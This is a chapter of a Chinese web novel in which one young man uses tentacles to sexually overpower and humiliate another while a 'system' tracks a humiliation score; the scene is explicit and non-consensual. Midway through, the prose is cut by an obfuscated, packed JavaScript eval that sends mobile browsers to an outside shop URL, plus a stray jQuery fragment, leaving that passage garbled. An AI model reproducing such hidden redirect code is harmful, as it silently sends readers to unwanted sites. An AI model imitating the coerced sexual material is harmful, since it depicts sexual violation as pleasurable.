17. 第17章

作品:《恶毒男配太受欢迎了!!!

    绯红的脸,微张的唇。


    被强行掰起来的脑袋,毫无遮掩地展示在宁昭面前,他能明显地看见江叙白陡然睁大的双眼。


    其中透着震惊,但挥之不去的是他仍沉浸其中的那双眼。


    带着股朦胧的醉意。


    极红的眼,让宁昭有一种见到了小说里喜欢掐腰红眼壁咚的霸总。


    但按照目前的情况来算,真正在壁咚的却是他自己。


    在江叙白绯红的脸上,更显眼的是他微张的唇舌。


    似乎是爽麻了,唇舌根本无法闭上,像是狗一样伸出来向外淌着涎水。


    被宁昭看见的瞬间,坠在舌尖的水珠突然滴落下去,重重地砸在地上。


    两人之间的距离极近,近得他都能感受到江叙白炽热的呼吸。


    宁昭没忍住笑了一声,语气里带着调侃:“好脏啊。”


    “流了一地。”


    明明只是不小心坠了一滴下去,他却非要说是流了一地。


    问就是跟江叙白学的。


    【江叙白羞辱值+5,当前羞辱值10/100】


    眼前的人像是想要骂他,唇一张就想要继续吐出毒汁。


    但见识过江叙白毒汁的威力,宁昭必然不能让他再肆无忌惮下去。


    眼见着他眼中的怒火集聚,宁昭用力地揉搓了下他脸颊。


    肉眼可见的是,江叙白眼中的凶狠直接被他揉散了,只余留朦胧的愉悦。


    又被他爽到了。


    但仅仅是一会儿,江叙白又重新找回自己的理智。


    他顾不得教养和礼仪,径直拍开宁昭的手。他反应过来后力气极大,宁昭一时也没有控制住,直接让他逃脱了。


    在逃脱后,江叙白仰倒在木凳上。


    但不止如此,他脚一蹬就迅速后退,直到远离宁昭后又重新坐起来,平复自己的呼吸。


    等到稍微平复好后,才终于抬头怒视看宁昭。


    但此刻,他再也没有刚才的从容不迫。


    领口大开,喉结快速地上下滚动,仿佛在疯狂地抑制身上的某种冲动。


    脸红得像是刚长跑完,唇润了一层水色,其上布满了被啃咬过后的牙印。


    如果用一个词来形容他的话,那就是——“混乱不堪。”


    偏生此人现在还没有任何自觉,刚缓过来就开始喷吐毒汁:“像你这种恶心的下等人,也就喜欢趁人之危。”


    “你今天回去恐怕直接不洗手了吧,还要躺在床上回忆摸过我的感觉,心里还要暗自窃喜,我是不是会因为这种触碰,就直接在意起你了?”


    “但实际上,根本零个人在意你,我只觉得你恶心。”


    江叙白持续输出,疯狂诋毁着宁昭,嘴上跟机关枪一样叭叭个不停。


    宁昭没理他,只是在心里对系统说:【我只要一个动作,就能让他闭嘴你信不信?】


    系统疑惑:【但是攻4看起来很生气,他轻易不能停下来吧?】


    宁昭没有回答,只是将行动付出实际。


    他上前一步,连带着木凳都往前移动了一点距离。


    仅仅一个简单的动作,江叙白不仅闭上了嘴,还迅雷不及掩耳之势地从木凳上跳下,飞快向后退去。


    尽管已经和宁昭隔了一个“木凳床”的距离,他还是小心地警惕着宁昭。


    就生怕宁昭突然偷袭。


    系统恭维道:【宿主真的太厉害了,真的一句话都不用说,仅仅是一个简单的动作就让攻4闭嘴了。】


    宁昭听着系统的彩虹屁,突然问:【解锁江叙白信息的随机debuff什么时候出现?】


    系统答道:【一分钟之内,宿主需要了解是什么debuff吗?现在已经能查到了。】


    宁昭随口应下,等他听见系统的回答后,他没忍住笑了一声。


    这可真是个好debuff。


    听见宁昭的笑声,江叙白本就警惕着他的神经绷得更紧,但嘴上又开始喋喋不休:“你突然笑什么?”


    “你在犯什么神经?有病就赶紧去精神病院治,别在这里祸害人,知不知道你的存在有多么有碍视听!”


    听着江叙白的不痛不痒的嘲讽,宁昭什么都没说,只又朝前走了一步,带动得“木凳床”也开始分崩离散。


    “别动!”江叙白的反应极大,明明宁昭离他还有一段距离,他现在却已有了重新被宁昭逮住的感觉。


    仅仅是宁昭随意的动静,都似乎能激得他敏感的神经颤上两颤。


    但说吼完后又觉得不妥,江叙白赶紧找补道:“你离我远点,你这种下等人离我太近都会污染我周围的空气,有多远就滚多远去!”


    这些话却没有对宁昭造成任何影响,他只是在静静等待debuff生效。


    身体涌上来熟悉的异样感,但这次宁昭却没有任何的忐忑,反而是有种难以形容的期待感。


    江叙白看着这样的宁昭,他的本能告诉他,有什么事情在悄无声息地发生。


    危险即将到来的预警,在告诉他要赶紧离开。


    这很奇怪。


    宁昭明明都离他有一段距离,况且如果没有皮肤接触的话,他对付宁昭简直绰绰有余。


    但...为什么还会觉得危险呢。


    江叙白紧紧地盯着宁昭,同时身体还是诚实地往后退了一步。


    但变故就在这一刻。


    有什么黏稠滑腻的东西,缠上了他的腿。


    江叙白猛地低下头去看。


    然而他刚埋下头,另一股潮湿黏腻的感觉又粘在了他的手臂上。


    被衣物隔绝在外,让他感知不了到底是什么,但直觉一定是不好的东西。


    在江叙白即将看清的时候,那股濡湿的感觉却又有朝他衣袖里滑去的趋势。


    !!!


    江叙白快速收回视线,进而看向手臂——


    上面是......一段透明的触手。


    正攀在他的衣袖边缘,距离他的手腕仅有分毫的距离。


    ?


    他是刚才做梦没醒吗?


    原来他现在依然还在梦里。


    从刚才宁昭出现为开始,一切都是他做的梦,现在他需要的是从梦中醒来。


    然而就在他自我麻痹的下一瞬,潮湿的滑腻终于触及他的手腕。


    紧接而来的便是,令他头皮发麻的刺激感。


    比之前的单纯触碰还要更加剧烈。


    江叙白差点...浑身发麻得直接坐在地上。


    这种真实的感觉终于把他从自以为的幻象中拉出来,让江叙白直截了当地面对了现实。


    他终于不可置信地朝宁昭看过去。


    数根透明腕足从宁昭的背后钻出,在空中游弋,张牙舞爪地示威,像是在伺机捕捉猎物一样蓄势待发。


    无数的吸盘藏在下面,他甚至是现在都仍能感受到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17042405|192228||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吸盘的运作。


    原来如此,江叙白突然想到。


    难怪现在的感觉会比之前还要强烈,原来是...被吸的。


    在他思考的间隙,宁昭的触手可不会等他。


    突然多出了数根触手可以操控,还是可以伸缩和收回的那种,就像是突然多出了好几只手。


    但唯一不好的点就是,手一多就不知道到底该先用哪根。


    宁昭先是操控少量的触手缠上江叙白,使它们缓慢地攀爬,才逐渐掌握操控的方法。


    不过说实话在看见这些触手的时候,他自己都有点手痒,感觉像是那种网上卖的水晶捏捏。


    操控多只手的奇特感挥之不去。


    宁昭干脆全部一起用了。


    于是所有的触手全都一拥而上,统统都往江叙白袭去。


    等他反应过来的时候。


    大腿、小腿、腰部、手臂,甚至连...胸部都缠上了触手。


    尽管现在还暂时隔着衣物,但光是从手腕上小范围的触碰,江叙白都快要起来了。


    更别说,如果这些触手全都在没有衣物遮掩的情况下接触,他不知道会......成什么样。


    仅仅是脑内稍想一下,江叙白都控制不住地弓了下腰。


    “好啊,原来你是怪物。”江叙白强忍着激烈的触感,没有一丝恐惧,反而像是逮到了宁昭的把柄道:“我劝你最好快点放开我,然后跪在地上对我磕头道歉。”


    “我再考虑要不要说出去。”


    宁昭真的没忍住被逗笑了,在江叙白得意的眼神中,慢吞吞地开口:“江少爷,你到现在还搞不清楚状况吗?”


    说话间,像是为了惩罚他,滑溜溜的触手从他的袖口和衣领处钻进去。


    更多的吸盘开始加入运作。


    更为剧烈的感觉直冲天灵盖,身体也顺应着感知在急剧地颤抖。


    才收回没多久的唇舌,又控制不住地张开和吐出。


    涎水顺着舌尖往下滴流。


    唇不自觉地向上弯起。


    像极了一条...在朝着主人吐舌头和摇尾巴的狗。


    “有这么爽吗?”宁昭揶揄道。


    沉浸在爽感里的江叙白被这么一调侃,陡然回过神来,他刚想反驳,却从旁边的落地窗里看清了自己现在的模样。


    极不得体也不复刚开始的从容。


    甚至是高高地耸立着。


    意识到自己暴露了,他呆愣地朝宁昭看过去。


    眼中倒映着的宁昭在朝他笑,带着一股明晃晃的恶意,似是又重复问了他一次。


    有这么爽吗?


    像是被单拎到大庭广众下,从未有过的羞耻感蜂拥而上,一向嘴毒的江叙白在此刻竟然哑口无言。


    因为...身体的每一寸都在昭示着他到底有多么的...


    太刺激了。


    江叙白定定地看着宁昭,他仿佛能从宁昭的瞳孔中,也看见自己现在的模样。


    而宁昭此刻看他的眼神,却让他感到莫名的熟悉。


    在触手逐渐环上他的脖颈时,江叙白终于想起来为什么自己会觉得熟悉。


    因为那是他自己平时用来看人的眼神。


    而现在却被宁昭用来看他。


    宁昭在用看狗的眼神在看着他。


    而在这种视线下,他仿佛变得卑贱起来,同时倾巢而出的———


    全都是他的罪行。